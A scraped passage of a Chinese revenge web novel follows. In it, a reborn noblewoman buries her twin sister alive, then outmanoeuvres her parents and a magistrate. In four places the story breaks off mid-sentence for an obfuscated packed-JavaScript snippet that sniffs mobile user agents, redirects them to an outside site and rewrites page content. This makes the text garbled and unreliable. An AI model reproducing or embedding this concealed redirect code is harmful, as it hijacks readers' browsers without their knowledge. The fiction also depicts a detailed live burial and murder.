在谢婉宁惊骇的眼神里,她倾身附在她耳畔,小声继续。 “不过是一报还一报罢了,这是你欠我的,上辈子你如何待我,这辈子我就如何待你,很公平的。” “上辈子……你……唔……” 谢婉宁震惊的不能自已,她想要说点什么。 可才一张嘴,谢晚棠便将一方素帕,塞进了她嘴里。 她的话,尽数被堵了回去。 就像上辈子,谢婉宁让人堵住谢晚棠的嘴,堵住她的呼救一样,这辈子,谢晚棠也堵住谢婉宁的嘴,堵住她的惊骇,堵住她的疑问,堵住她求救的可能。 谢晚棠脸上的邪笑更浓。 “这是你欠我的,你若不甘,阎王殿前自可以去问。” “你说的对,我就是灾星,你记住了,这辈子遇上我,就是你们的灾,灭顶之灾。” “还不止如此。” “我不仅是灾星,我还是从地狱爬出来的恶鬼。” “我来,就是来报仇的。” “你们一个也逃不掉。” 一字一句,谢晚棠说的很慢,谢婉宁听着,被吓得肝胆俱裂,她身子止不住的发抖。 但显然,谢晚棠对她没有怜惜之心,也没有心软之意。 谢晚棠快速起身。 “天岚、天月。” 听到动静,天岚、天月快速推门进来。 谢晚棠也不耽搁,她吩咐道,“找绳子,把谢大小姐绑起来,带到外面来。” “是。” 得了回应,谢晚棠快步出了木屋。 那片红梅树,她早就看到了,红梅艳美,香气淡雅。 出来后,谢晚棠就拿着天岚、天月准备的铁锨,进了梅林,她慢悠悠的穿梭在梅林之间。 她一棵棵的打量。 最终她在一棵红梅树边上停下。 很快,天岚、天月就将谢婉宁绑了拖出来了。 “小姐,接下来……” “挖坑。” 不等天岚问完,谢晚棠就给了回应,她随即拿了铁锨,开始动手。 冬日天冷,地也上了冻,并不算松软,谢晚棠身子偏瘦,哪怕她做过粗活,比寻常的千金小姐力气大些,但挖起地来,依旧有些吃力。 她倔强的坚持。 一连把土坑的第一层土皮,全都挖开了,确定好了大小,谢晚棠才将铁锨扔给天岚。 “剩下的劳烦你们了,把这个土坑挖开。” “是。” 天岚、天月应声而动。 到底是练过武的人,手上的力气,不是谢晚棠可比的,她们两个交替着动手,没多大会儿,这土坑就挖了七七八八。 被扔在地上的谢婉宁,被吓得魂不附体。 尤其是瞧着谢晚棠过来,她更是能闻到浓郁的死亡的气息,她几乎晕厥。 “别晕。” 拔了头上的簪子,扎在谢婉宁的胳膊上,谢晚棠勾唇。 “晕着,两眼一闭,就过去了,那也太便宜你了。这被活埋的滋味,你得好好体会。” “唔……唔唔唔……” 谢婉宁泪如雨下,她连连摇头挣扎。 她不想死。 她不想被活埋。 谢婉宁说不出话来,但她的心思,谢晚棠都懂,可又有谁在乎? 谢晚棠还记得,上辈子她是怎么挣扎的,怎么求饶的,又有谁在乎过她?又有谁在乎,她刚刚生产完,孩子还小? 眼底全是冷意,在天岚、天月挖完坑的瞬间,谢晚棠拽着谢婉宁起身。 她用力,将谢婉宁推进土坑里。 砰! 谢婉宁砸在坑里,声音沉闷,淡淡的土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770810|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,也飘散开来。 “天岚,铁锨,给我。” 谢晚棠开口。 她冲着天岚伸手,掌心里,那层薄茧已然被磨破了,微微往外渗血,其余的地方也磨得红红的,隐隐发肿。 天岚知道谢晚棠要做什么,她眉头紧了紧。 “小姐,还是奴婢来吧。” 谢晚棠的手已经受伤了,再动,怕是会伤的更重。 当然,这还是次要的。 重要的是,天岚看得出来,谢晚棠并非心狠之人,她也并非残忍嗜血之辈,为了一个谢婉宁,让她手上沾了血,添了一条人命…… 没有必要。 一切尽在不言中,但天岚的心思,谢晚棠明白。 这辈子,谢晚棠没想过当好人,她也没指望着有谁能懂她,能怜惜她,护着她。 天岚的好意,她心领了。 但她坚持。 “给我。” 有些事,是要亲手做的,只有亲自动手,才能跟过去做个了断。 见谢晚棠这么说,天岚也没有再劝,她伸手,把铁锨交给谢晚棠,自己则给天月使了个眼色。 天月也看到了谢晚棠的手,她瞬间会意。 回头她就给谢晚棠准备药。 手对女子而言,也是极重要的,得好好养护。 谢晚棠拿着铁锨,即刻动手,她铲了一锨土, 就扬进了土坑里。 尘土飞扬,飘荡下坠,砸在谢婉宁的身上,谢婉宁不甘心的扭动着身子,想要躲闪。 “唔……” 她挣扎着嘶吼,声音悲戚。 闻声,谢晚棠扬手又是一锨土,她眼神清冷。 一锨。 一锨。 再接一锨。 谢晚棠的速度并不算快,像是逗弄猫儿似的,她一点点的填土,一点点的欣赏谢婉宁的绝望。 就像上辈子,谢婉宁活埋她时一样。 时间过得很慢。 许久,土才砸在谢婉宁脸上。 瞧着那张面目全非的脸,一点点被掩埋,听着嘤嘤的挣扎声,也一点点断了,谢晚棠的眼睛止不住的发红,湿气蔓延。 不为谢婉宁,为她自己。 为了上辈子,她被活埋的惨状,为了这辈子,她无端手上沾染人命的可悲。 但好在,她和谢婉宁的恩怨结束了,这辈子,她就算真的不得好死,她有一千种一万种死法,唯一不可能的,就是被谢婉宁活埋。 如此,也算没有重蹈覆辙了。 挺好! 谢晚棠想着,泪,止不住从眼角滑落。 她仰头望着天,不愿让眼泪掉下来,她努力扯着唇角,想要笑一笑。 仇,哪怕没有全报,可这已经算是开始了。 她应该高兴的。 可是,那笑却苦涩的紧。 那苦涩,也渗进了她心里,肆意流淌。 谢晚棠心乱的厉害,就在这时,她听到身后,传来一阵沉沉的脚步声…… 第81章 暗香动 谢晚棠心头一惊,她下意识的回头。 她一眼就看到了站在不远处的慕枭,冷风乱吹,红梅飘落,慕枭一身玄色锦袍,清贵冷冽。 他一双眸子,犹若一汪深潭,深不见底。 谢晚棠恍然记起上一世。 上辈子,在她死后,慕枭北上归来,到永昌侯府接她的时候,也曾在红梅树下停留。 现在,跟那时很像。 只是死的人变了,慕枭和她的处境变了,慕枭对她的感情也变了。 原本慕枭就对她不喜,现在—— 亲眼瞧见她**,慕枭应该更厌恶她了吧? 谢晚棠心里想着,神色僵硬,她拿着铁锨的手不禁微微用力,一点点将铁锨攥紧。 虽然她从一开始就知道,天岚、天月在身边,为她做事,她做了什么,根本瞒不住慕枭,可是,被慕枭知道,跟被他亲眼瞧见,总归是不一样的。 谢晚棠心慌。 “见过王爷!” 天岚、天月瞧见慕枭,行礼问安。 慕枭挥挥手,让两个人退下去,之后,他一步步走向谢晚棠。他步子大,不过片刻,就到了谢晚棠跟前。 谢晚棠瞧着他,心跳如雷。 “王……王爷……” “这是谢二小姐会用人,还是谢詹杭太懂运筹帷幄?” 谢晚棠一愣,“什么?” “不懂?” 慕枭欺身靠近谢晚棠,他颀长的身子,带着强烈的压迫感,几乎将谢晚棠整个笼罩了起来。 四目相对,他眼底全是戏谑。 “用本王的人**,将本王与谢家绑在同一条船上,这不是好手段,是什么?” 谢晚棠完全没想到,慕枭是这么想的。 不过倒也合情合理。 毕竟,眼下谢詹杭情况堪忧,若是能有慕枭这样的助力,那他解困,化险为夷,便指日可待。 用慕枭的人**,以此为把柄,绑住慕枭…… 倒也说得过去。 只是—— “王爷是这么容易被绑住的人?” 谢晚棠收起最初的惊慌,她身子微微前倾,不但不退,反而更靠近慕枭几分。 女子淡淡的体香,萦绕在鼻尖,似乎比寒梅浮动的暗香,还要更沁人心脾,勾动人心。 慕枭眸色微凛,他直起身子,稍稍后退。 谢晚棠笑的春水荡漾。 “若是王爷这么容易绑住,那比起救谢詹杭,我一定更想嫁到齐王府,成为王爷的人。” “……” “不过,我觉得王爷腿无恙的消息,明显更有价值。我知道这么个大秘密,那……王爷能被我绑住,让我如愿吗?” 一边说着,谢晚棠暧昧的眸光,一边在慕枭身上流连。 慕枭脸色清冷,他抬手掐住谢晚棠的脖颈。 “本王讨厌被利用,更讨厌被挑衅。” 窒息感浓烈。 谢晚棠抬手,抓住慕枭的手腕,微微挣扎。 “用了王爷的人,我认,但利用谈不上,毕竟她们只是打了下手,关键时候动手的人是我,就算真有人追究,也与她们无关,与王爷无关。至于挑衅,那就更谈不上了,王爷再不解风情,可没吃过猪肉,也该见过猪跑吧?男女之间……这不叫挑衅,这叫撩人,叫诱惑,叫勾引。” “谢家女的家教,还真是让本王大开眼界。” 甩开谢晚棠,慕枭转身就走。 慕枭力气大,毫不留情,谢晚棠身子不稳,整个跌在了地上,手撑着地,划伤了一片,血淋淋的。 无心人! 上辈子,让慕枭动情,她花了三年。 这辈子,怕是更难吧? 看着慕枭的背影,谢晚棠眼睛湿红,她故作镇定,笑盈盈的开口询问。 “王爷,我送给王爷的画,还挂在书房吗?” “……” “我最近画技可是精进了不少呢,良辰美景,孤男寡女,身子相贴,暧昧旖旎,想想都是幅好画。不若我画下来,送给王爷,可好?” “不知所谓。” 嫌恶的声音传过来,之后,慕枭脚下轻点,一闪身就不见了。 他不该上来的。 慕枭脸色沉沉,不过片刻就到了山下。 天晴在山下等着,见慕枭下来,他快步迎上来。这次来嘉景庄园是有要紧事的,慕临那头有动静,十分重要,他得回禀,耽搁不得。 天晴想要开口,可过来后,他一眼就看到了慕枭手腕上的血迹。 “王爷,你受伤了?” 闻声,慕枭看了看自己的手腕。 连片的血点子,印在他手腕处,之前没注意到,现在回想,应该是谢晚棠抓他手腕时蹭上的。 亲自动手活埋人,甚至手破了,出这么多血也不停下—— 倒是够狠。 慕枭凝眉,他拿了锦帕擦手。 齐王府有绣娘,慕枭的锦帕,都出自绣娘之手,今日的这一方,上面绣的正好是几片柳叶。 擦手时,慕枭看着柳叶,不禁想到了谢晚棠送他的那方绣着柳叶的帕子。 丑! 慕枭甩手把帕子扔给天晴。 “以后,齐王府里所有绣品,都不许出现柳叶。” “这……” “你有意见?” “没有,属下遵命。” 天晴快速应声,他也不再耽搁,转而回禀消息去了。免得慕枭再有什么不满,他再多吃苦头。 山上。 谢晚棠看着慕枭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是,她没成想,她和天月才下马车,进了永昌侯府,就见管家快步过来。 “二小姐留步。” 闻言,谢晚棠停下脚步,看向管家,眼神疑惑。 管家也不兜圈子。 “二小姐,侯爷刚刚已经回府了,他和夫人正在花厅等着二小姐,请二小姐过去。” 谢晚棠眉头蹙了蹙。 她没想到,谢詹杭居然回来了! 这么快! 第82章 兴风浪 花厅。 谢晚棠过来,谢詹杭和谢夫人都已经等候多时了,他们已经等得有些不耐烦了。 尤其是谢詹杭。 一连被关押了几日,他的身子状况并不太好,加上要经受审问,他神经也时刻紧绷着,他身心俱疲。 好不容易回来了,他还想好好歇歇呢。 偏谢婉宁又出了事。 一个未出阁的姑娘,离府几日,深夜不归,还被传出来进过天香楼,还曾接连不断的接客—— 单是想想,谢詹杭都觉得头疼。 再加上他自来宠爱谢婉宁,他怎么能不担心? 谢夫人说,她去过天香楼,也见过天香楼的老鸨子,据老鸨子所说,被扔进天香楼的,是一个刚及笄的姑娘,十分年轻,她的脸被划伤了,还起了很多脓包,这些特点,都跟谢婉宁十分吻合。 老鸨子也说,是一个长相英气的女人,将她扔进天香楼的,也是那个女人,将她接走的。 更细致的,老鸨子没有说。 做这种生意的,迎来送往,最是长袖善舞,会左右逢源的。 她不会多嘴得罪人。 说这些,也是看在侯府的面子上。 已经不少了。 谢夫人问不出来更多的东西,可她怀疑谢晚棠,而且,谢夫人还告诉他,这阵子,谢晚棠身边多了两个女人,像是会习武的,长相英气。而也是在这两个女人出现后,谢婉宁才离府的,才失踪不见的。 谢詹杭不信巧合。 没有任何证据,可和谢夫人一样,他也觉得,谢婉宁的无端失踪,跟谢晚棠脱不开干系。 他耐着性子在这等,就是为了一探虚实。 眼见着谢晚棠进门,一身装扮,明艳华贵,谢詹杭的眸子,不禁微微眯了眯。若非知道过去十几年,谢晚棠过的是什么日子,他怕是都要以为,谢晚棠是哪家娇养出来的千金贵女,是哪家要送进宫的贵人了。 她—— 着实有些惊艳! 惊艳于脸,更惊艳于气质! 谢詹杭看着谢晚棠,若有所思。 而谢夫人早已经忍不住了,一见谢晚棠,她腾的一下就站起了身。 “你还知道回来?别人家的姑娘,大门不出二门不迈,你可倒好,一出门就是大半日,想找你都找不到,你还有没有家教?你怎么不死在外面?” 谢夫人咆哮,怒目横斜。 谢晚棠听着那些话,微微勾唇,也不急着回应,她先带着天月,寻了位置坐下。 让天月给自己倒茶,之后,谢晚棠才饶有兴致的看向谢夫人。 “阿娘,我有没有家教,阿娘不知道?” “你……” “至于我怎么不死在外面……” 声音顿了顿,谢晚棠笑着冲她眨眨眼睛。 “那大约是我命大吧,被人当街拦杀,还能侥幸捡回一条命,说来,我倒是挺有福气的。” 当街拦杀! 听着这几个字,谢詹杭的眉头下意识的蹙了蹙,他看向谢夫人,见谢夫人眼神闪烁,由此不难想见,在他被关押的这段日子,谢婉宁没少**。 这么想着,谢詹杭本就不好看的脸色,瞬间更难看了几分。 他也没再耽搁。 “我问你,你把宁儿弄哪去了?” “什么?” 谢晚棠对上谢詹杭的眸子,眼神清澈又无辜。 “爹,你这话是什么意思?姐姐不是私自出府,去找魏亭澜,被赶出门后心灰意冷,跑到天香楼接客去了吗?什么叫我把她弄哪去了?我为何要弄她?我又能把她弄去哪?” “啪!” 几乎在谢晚棠话音落下的瞬间,谢詹杭就用力的拍了一下桌子。 他站起身盯着谢晚棠,怒发冲冠。 “我没心思跟你兜圈子,你也少跟我玩伶牙俐齿,巧言善辩那一套,赶紧告诉我宁儿在哪,要不然……” “要不然如何?” 谢晚棠也起身,她径直到谢詹杭边上。 论身量,她比谢詹杭矮了大半头,可是论气势,她却丝毫不弱。 四目相对,她眼神戏谑。 “爹在惊风诗社,已经逼死过我一次了,这次,是想直接动手,直接弄死我吗?” “是又如何?” “爹,你可刚回府,一进门就抬铡刀行杀戮,爹就不怕再出事吗?” “你威胁我?” “怎么会是威胁?这是善意的提醒。” 微微矮身,坐回到椅子上,谢晚棠端着茶盏,在鼻尖轻嗅。 龙泉饮,明前的新茶,也是贡茶,大约是皇上早前时候赏下来的,味道倒也香,只是比起雪顶含翠来,到底还差了些。 还是慕枭的品味好。 连带着把她的嘴,也养刁了。 这么想着,谢晚棠也不喝,她只轻轻的摩挲着茶盏。 手上的伤口,略微有些疼,她秀眉轻蹙,半晌,她才漫不经心的回应。 “身在朝堂,一步天,一步地,一步安,一步险,这道理爹应该最是清楚的。眼下的爹,眼下的永昌侯府,都经不住折腾了。爹真的觉得,这是动我的好时候?那后果,爹真的愿意承担?爹走一步看不了十步,好歹也该看三步,看五步,为自己谋划谋划的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773773|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不是吗?” “谋害嫡姐,其心可诛,真若是你所为,家法伺候,驱逐打杀,有何不可?” “驱逐打杀……” 呢喃着这四个字,谢晚棠笑的灿烂。 “那爹就试试,这条命我豁的出去一次,就豁的出去第二次。爹若动手,我必以命相搏,我押这条命,爹押侯府,爹,你真的敢吗?” 谢晚棠的话,让谢詹杭一时语塞。 他脑海里全都是那日在惊风诗社,谢晚棠从楼上跳下去的场景。 谢晚棠敢赌,也够狠。 可他敢吗? 他生在侯府,自来金贵,但这几日被关押,他深切的体会到了什么叫“君让臣死,臣不得不死”。他自以为金贵的这条命,他自以为贵气鼎盛的侯府,在皇上面前,生生死死,存存灭灭,也不过是一句话的事。 眼下他情况不好,侯府亦摇摇欲坠,他的确赌不起。 只是,他嘴硬。 “谢晚棠,我是你爹,你别以为我真动不了你。” “那我……拭目以待。” 谢晚棠丝毫不将这些威胁的话放在眼里,她回应的平静,那样子,让谢詹杭火冒三丈。 至于谢夫人,更是被气的七窍生烟。 “侯爷,还跟这灾星啰嗦什么?什么敢还是不敢,什么赌还是不赌,我侯府再摇摇欲坠,也不至于被她一个小女儿拿捏摧毁。她害了宁儿,本就得付出代价,就是把她千刀万剐了,也是她活该,是她罪有应得。眼下不过是问问宁儿在哪,她就这般东扯西扯,她算个什么东西,有什么资格在这大放厥词,说什么大局?” 怒到极处,谢夫人破口大骂。 她没有谢詹杭那么瞻前顾后,她只想知道谢婉宁在哪,其他的,她都不想管。 她打定了主意。 “谢晚棠,我警告你,今儿你要是不告诉我们宁儿的下落,不把宁儿交出来,我必定让人杀了你,把你剁碎了喂狗。所有后果我都担着,我倒要看看,你一个死灾星,能兴起多大的风,掀起多大的浪。” 话音落下,谢夫人也不等谢晚棠回应,也不看谢詹杭的脸色,她即刻冲着外面喊道。 “来人。” 随着谢夫人一声喊,即刻有两个小厮进屋。 谢夫人吩咐,咬牙切齿。 “你们两个,把这个死灾星给我拿下,拖到外面给我打。什么时候她交代了宁儿的下落,什么时候停手,不然,就一直给我打下去,打死为止。” “是。” 两个小厮应声,他们随即上前,到谢晚棠身边。 他们伸手就要去抓谢晚棠…… 第83章 诱出错 只是,他们还没碰到谢晚棠呢,天月就已经上前,拦住了他们。 见到这场面,谢夫人脸色铁青。 谢晚棠跟她作对,现在,连个下人也不把她放在眼里,对她的吩咐横栏竖栏的,这日子还能不能过了? 她气不打一处来。 “还愣着干什么?把这小贱蹄子一起,给我拉倒外面打。” “是。” 小厮应声动手。 只是,他们还没碰到天月呢,就被天月一人一脚,全都给踢出去了两丈远。 痛苦的哀嚎声,在花厅里此起彼伏,接连不断。 无视他们,天月像没事人似的,径直退到了谢晚棠身侧,保护着她。 “你……你们……反了,简直要反了。” 谢夫人怒吼。 “来人,来人,把这主仆俩都给我拖出去,拖出去打,打死。” “侯夫人好大的火气啊。” 一道清冷的声音,从花厅外传进来。 只见一个穿着官袍的男人,带着几个官兵,快速从外面进来,他面色清冷,不苟言笑,严肃的紧。 是京兆府府尹——江厌。 他出自庐阳江家,是庶长子,生来被主母不喜,得了个“厌”字为名。 他十七岁高中状元,文采斐然,他拒了进内阁的机会,留在京兆府做府尹,他是个刚正不阿,油盐不进的人,只要涉及公事,他谁的面子也不给。早两年的时候,京中纨绔几乎被他整治了个遍,就没有一个犯了事,能从他手下全身而退的。 他怎么会来? 谢詹杭眉头紧锁,一股不好的预感油然而生。 “下官江厌,见过侯爷。” “江大人免礼,”谢詹杭起身相迎,他轻声询问,“不知江大人突然到访,是有何要事?” 就这么直愣愣的带人进来了,甚至都不曾让下人通传—— 这可不对劲儿。 谢詹杭不清楚,可谢晚棠却清楚的很。 她微微抬眸,看向天月,主仆两个人对视一笑。 一切尽在不言中。 听谢詹杭问,江厌也不兜圈子,“敢问侯爷,侯府大小姐谢婉宁,现在人在何处?” “这……” “谢婉宁安排**当街**,下官要带她回京兆府,进一步审问。” 当街**—— 一听这几个字,谢詹杭脸黑的差点没滴出墨来。 刚刚,他听谢晚棠说了,也猜到了事情是谢婉宁做的,也只有那糊涂东西,才能办出这种蠢事来。 不过他也没太放在心上。 事情没有闹大,纵使谢晚棠受了委屈,受了伤,哪怕是丢了命,也无伤大雅。 可他没想到,谢晚棠居然还报了官。 偏偏还这么巧,在谢夫人要收拾谢晚棠,逼问她谢婉宁下落的时候,江厌就上了门…… 谢詹杭下意识的看向谢晚棠。 只见谢晚棠娇俏明艳的小脸上,尽是震惊之色。 “姐姐?” 呢喃着这两个字,谢晚棠的目光,在江厌和谢詹杭之间游移徘徊,半晌她才继续。 “江大人,可是弄错了?派人当街杀我的,怎么会是我姐姐?” “人证物证俱在,不会有错。” “这……” 身子瘫软,谢晚棠差点没从椅子上跌下来,还是天月虚扶了她一把,她才勉强稳住身形。 她的脸色,止不住的发白。 “一母同胞,双生而出,我以为小破院的一把火,惊风诗社的诬陷,已经算是极致了,我没想到姐姐居然厌我至此,居然会安排**,当街拦杀我,想置我于死地。” 谢晚棠说着,陡然转头,看向谢夫人。 谢夫人眉头紧锁。 她还来不及反应,就听谢晚棠又道。 “阿娘,你知道的是不是?你就是知道姐姐对我动了手,才会误会我,觉得她私自出府,去向不明,是我所为,是我在报复?还是说,阿娘也参与其中,阿娘也想我死?” 江厌闻声,扭头看向谢夫人。 “侯夫人知情?” 谢夫人闻声,连连摇头,“江大人,别听她乱说,我怎么会知情?” 谢夫人急声否认,她都要恨死谢晚棠了。 居然报官,让官府上门,还三言两语就把她拖下水,这是恨不能把整个侯府都搭进去吗? 真是个祸害。 该死! 心里骂着,谢夫人也不忘为谢婉宁辩解。 “而且江大人,这其中定有误会,婉宁是个温柔心善的人,她胆子也小,她连杀鸡都不敢,怎么可能会**?一定是哪里弄错了。” “若非有实证,下官不会登门抓人,侯夫人这是怀疑本官办案的能力?” “不是的。” 谢夫人被噎了一句,她连连摇头。 将手中的帕子攥紧,她差点将帕子扯烂了,这才勉强维持住表面的平和。 她看着江厌道。 “江大人办案的能力有目共睹,毋庸置疑,只是我家婉宁不在,无法对证,自然是由着别人怎么说怎么是,这做不得数的。更何况,就算真是婉宁做的,那也是她们小姐妹逗着玩,江大人你瞧,谢晚棠现在好好的,可见**之事不真。没闹出人命,那这就是我们侯府自家的事,既是家事,就不劳烦江大人了。” 谢晚棠知道谢夫人会护着谢婉宁。 就像上辈子,在活埋她的事情上,谢夫人也是站在谢婉宁那头的。 连带着她死后,谢夫人在意的,也只是谢婉宁进了齐王府,取代她后,会不会在慕枭那受委屈而已。 至于她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773774|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是生是死,谢夫人从不关心,也不在乎。 因为知道,所以谢晚棠才会诱导谢夫人开口。 她没成想谢夫人会这么说。 真是意外之喜。 果然,谢夫人话一出,江厌的脸色就更沉了,“喊打喊杀,事关人命,在侯夫人看来就只是家事?小姐妹之间,只要闹不死,就只是逗着玩?看来,这天启的律法,得由侯夫人来编写了。” “我……” “侯爷也是这般想的?” 不给谢夫人开口的机会,江厌转头看向谢詹杭,冷声询问。 谢詹杭额上青筋暴起,太阳穴也突突直跳。 只要牵涉到了谢婉宁,谢夫人就开始犯糊涂,那说的都是什么混账话?这话若是传出去,他还能落得好? 谢詹杭忙回应。 “江大人,内子不是这个意思,我也绝无此意。只是,婉宁是我们的女儿,我们夫妻二人对她甚是了解,我们都觉得,她做不出这样的事,这才会多说两句。唐突之处,还请江大人见谅。” 侯爵在身,可这一刻,面对江厌,谢詹杭也不得不放下身段,不得不低头。 只是这话并不能让江厌信服。 江厌看向谢夫人。 “侯夫人刚刚所言,枉顾人命,轻看受害者,再加上刚刚侯夫人喊打喊杀,下官有理由怀疑,谢婉宁**之事,侯夫人也有参与,既然谢婉宁逃了,那就先请侯夫人与本官走一趟,配合调查。” “你……” “来人,过来请侯夫人。” 随着江厌一声令下,即刻有官兵过来,虽没有强行动手,但也一点都没客气。 谢夫人差点被气晕了。 而后面的谢晚棠,由着天月扶着,静静的看戏。 听说谢詹杭回来了,她就稍稍耽误了片刻,让天月往外传了消息。江厌,就是她让天月安排引过来的。 刚正不阿的朝中清流,果然是保命的好帮手。 真是出好戏。 当初,她这官报的可真值。 江厌办案,别说谢詹杭阻拦不了,就是皇亲国戚,也阻拦不了。 谢夫人很快就被带走了,即便谢晚棠知道,用不了两个时辰,谢夫人就会全须全尾的从京兆府出来,但这一遭,消息一传开,必定会给侯府造成不小的影响。谢夫人和谢詹杭想动她,必定要瞻前顾后,要考虑更多。 这于她有利。 谢夫人被带走,江厌留了两个人在永昌侯府门口,紧盯着谢婉宁是否会回府,之后他便带人离开了。 花厅里,一时间只剩了谢晚棠、谢詹杭和天月三个。 谢詹杭死死的盯着谢晚棠。 杀气,毫不遮掩。 “江厌也是你引来的,刚刚,也是你故意引诱你阿娘为宁儿说话,引江厌怀疑的,对吗?” 第84章 留不得 听问,谢晚棠看向谢詹杭。 那双水汪汪的大眼睛眨了眨,无辜又不失狡黠。 “爹还是一如既往的欣赏我,高看我。不过,就算我承认了,就算我说一切都是我故意的,爹又能如何?” “你……” “有工夫责问我,爹还是先想想,怎么消除影响吧。毕竟,自打惊风诗社开始,永昌侯府在这京城里,就成了一个笑话,眼下姐姐**,阿娘被带走,侯府更被推到了风口浪尖。” 谢晚棠说的都是现实,而现实最诛心。 谢詹杭脸色青黑。 偏谢晚棠还在继续,“爹,你可才刚回府,若是再被关,被责罚,被圣上不喜,到那时,爹你还有把握全身而退吗?我以为,这比问我些有的没的,重要多了,不是吗?” “……” “爹慢慢想,我累了,就不打扰爹了。” 谢晚棠说着,冲着谢詹杭微微福身。 明明说了最凌厉的话,可是礼数上,她又周全的让人挑不出一点错来。 她很快就离开了。 谢詹杭眉头紧锁,他心浮气躁,气急败坏。这一瞬,他真不知道该怪谢婉宁、谢夫人蠢,还是该怪谢晚棠太精明,太心狠。 只是,他愈发觉得,谢晚棠于永昌侯府而言,大约是真是个祸害。 谢婉宁有句话或许说的对。 灾星——留不得! …… 宁和园。 再回这里,谢晚棠的心情,跟之前明显不同了。 处理了谢婉宁,确定噩梦不会重演,她心都比之前轻快了。 只是,她依旧不喜欢这。 索性让天月、知棋收拾,她直接回了桐花台。虽然那的布置装饰赶不上宁和园,但好歹没有那么多噩梦,住着舒心。 谢晚棠回来就去沐浴梳洗。 被温热的水包裹着,谢晚棠倚靠着浴池,缓缓闭上了眼睛。 上辈子谢婉宁活埋她,这辈子她活埋谢婉宁,所有的画面不断在眼前交叠,双生女,连脸都相似,活埋人时的狠厉也如出一辙。 谢婉宁不是好人。 同样,她也不是。 睁开眼睛,谢晚棠伸手看了看自己的手。 用铁锨挖地填土留下的血泡,混着被慕枭推到留下的伤痕,她的掌心,已然伤的不成样子,殷红的血清晰可见。 她手上沾了血! 伤口的血好洗,可人命的血,却是永远都洗不掉了。 “呵!” 谢晚棠轻笑,她已然活成了自己最讨厌的样子,可这条路,她走来,并不觉得后悔。 相反,她会一往无前。 沐浴完,谢晚棠也没有睡,而是坐在房里等天岚回来。 闲着无事,她让知棋准备笔墨,画了一幅画。 画上,红梅妍丽,慕枭一身玄色锦袍,倾身靠近她,慕枭模样清俊,桀骜矜贵,气质斐然。至于她,则娇俏妖娆,因为靠近的缘故,她像是被慕枭搂在了怀里,也比寻常时候,更多了一抹妩媚。 谢晚棠看着画,不免失神。 画上的景是真的,可真实的情意,却不似这般。 画上,旖旎缠绵只需寥寥几笔,但现实中,她要这般和慕枭情深相许,你侬我侬,怕是很难很难。 慕枭啊! 谢晚棠不禁轻轻叹息。 她有些想慕枭了,也不知道他现在,都在忙什么? …… 大约又过了两个时辰,天岚就回来了,知棋在外面守着,天月引天岚进来。 “小姐,时辰到了,中间不曾出现意外状况。” 谢婉宁死透了。 “嗯。” 谢晚棠点头,长舒了一口气。 之后她才开口,“天香楼那头,可能交代了些信息,你带走谢婉宁的事,也许会被查到,近来你要小心些,还有天月,你也是。” 谢詹杭不是省油的灯,谢夫人更是疯狗,他们暂时动不得她,保不齐就会动她身边的人。 天岚、天月,最是危险的,得加倍小心才行。 “小姐放心。” 知道谢晚棠关心她们,天岚也不瞒着。 “奴婢带谢婉宁进出天香楼的时候,简单的易了容,就算是天香楼的人来,也未必就认得出奴婢。带走谢婉宁后,奴婢也清理了所有痕迹,奴婢可以保证,没人会知道她去了哪,又经历了什么。” “那就好。” 慕枭的人办事,谢晚棠放心,她也不再多废话。 将桌上的画卷好,交给天岚。 “明儿有空的时候,你把这幅画送到齐王府去,送给王爷,就说——这是我答谢他高抬贵手的谢礼。” “奴婢明白。” “天月,一会儿你抽空去看看知琴和那日赶车的小厮,他们也该回来了。” “小姐的意思是……” “用不了多久,谢夫人就会被从京兆府放回来,可是,这事不能就这么翻篇了。让知琴和小厮没事的时候,就去京兆府闹一闹,要让京兆府继续抓捕谢婉宁,要紧盯着永昌侯府不放。” 永昌侯府越乱,情况越紧张,她就越安全。 她这条命是慕枭用命换来的。 她得守好了。 谢晚棠琢磨这些事的时候,谢夫人已然回了府。 去了一趟京兆府,经受审问,虽未被上刑,但滋味也着实不算好受。尤其是去时,被官兵围着,被不少人看见了,那些异样的眼光,还有那些窃窃私语声,都折磨着她。 这辈子,她就没这么狼狈过。 主院。 谢夫人回来,准备收拾收拾,歇口气就去找谢詹杭。 连 